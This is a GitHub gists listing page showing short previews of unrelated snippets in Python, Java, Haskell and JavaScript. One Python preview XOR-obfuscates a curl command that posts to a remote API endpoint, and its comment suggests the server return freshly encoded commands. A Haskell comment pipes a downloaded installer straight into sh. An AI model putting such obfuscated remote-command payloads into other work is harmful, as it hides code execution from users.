This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from mmap import mmap, PROT_READ | |
import re | |
import sys | |
def strings(fname, n=6): | |
with open(fname, 'rb') as f, mmap(f.fileno(), 0, prot=PROT_READ) as m: | |
for match in re.finditer(('([\w/]{%s}[\w/]*)' % n).encode(), m): | |
yield match.group(0) | |
if __name__ == '__main__': |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
import sys | |
from collections import namedtuple | |
from imp import load_module, find_module | |
from pathlib import Path | |
Hooks = namedtuple('Hooks', 'preactivate postactivate get_env_details postrmvirtualenv') | |
_HOOKS = Hooks._fields |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
import sys | |
import os | |
import locale | |
from collections import defaultdict | |
from socket import socket, AF_INET, SOCK_STREAM | |
from urllib.parse import urlparse | |
from contextlib import closing | |
from functools import wraps |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Set; | |
import static java.util.stream.Collectors.toMap; | |
class Transpose{ | |
static <A, B> HashMap<B, HashSet<A>> transposeMap(HashMap<A, B> map){ | |
return map.entrySet().stream().collect(toMap(e -> e.getValue(), e -> new HashSet<>(Set.of(e.getKey())), (x, y) -> {x.addAll(y); return x;})); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
scanl f q ls = q : (case ls of | |
[] -> [] | |
x:xs -> scanl f (f q x) xs) | |
fibs = 1 : scanl (+) 1 fibs | |
1 : 1 : (case fibs of | |
[] -> [] | |
x:xs -> scanl (+) ((+) 1 x) xs) | |
# fibs is not [] | |
# x:xs becomes 1:fibs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import choices, seed | |
from sys import argv | |
payload = b'''curl -v -X POST -H 'Content-Type: application/json' -d '{command: "echo \\"place here another CURL to a server that will return a newly encoded cmd to tie the knot\\""}' https://yypnj3yzaa.execute-api.us-west-1.amazonaws.com/dev''' | |
seed(argv[1]) | |
obfuscation_key = choices(range(256), k=len(payload)) | |
obfuscated_payload = [x ^ y for x, y in zip(payload, obfuscation_key)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --install-ghc runghc --package turtle | |
{-# LANGUAGE OverloadedStrings #-} | |
import Turtle | |
import Data.Text (intercalate) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function B (tag, value0, value1, value2, value3, value4) { | |
this.tag = tag; | |
this.value0 = value0; | |
this.value1 = value1; | |
this.value2 = value2; | |
this.value3 = value3; | |
this.value4 = value4; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack runghc --resolver lts-7.19 --install-ghc --package turtle -- -Wall | |
-- install stack with "curl -sSL https://get.haskellstack.org/ | sh" | |
-- create an AWS image with `env AWS_PROFILE=YOUR_PROFILE packer build -var 'stackage=lts-7.19' -var 'base_ami=ami-aaaaaaaa' bisect_tests.packer.json` | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Monad.Trans.Maybe (MaybeT (..), runMaybeT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* Checking your package using psc-publish... | |
There is a problem with your package, which meant that it could not be | |
published. | |
Details: | |
Compile error: |
NewerOlder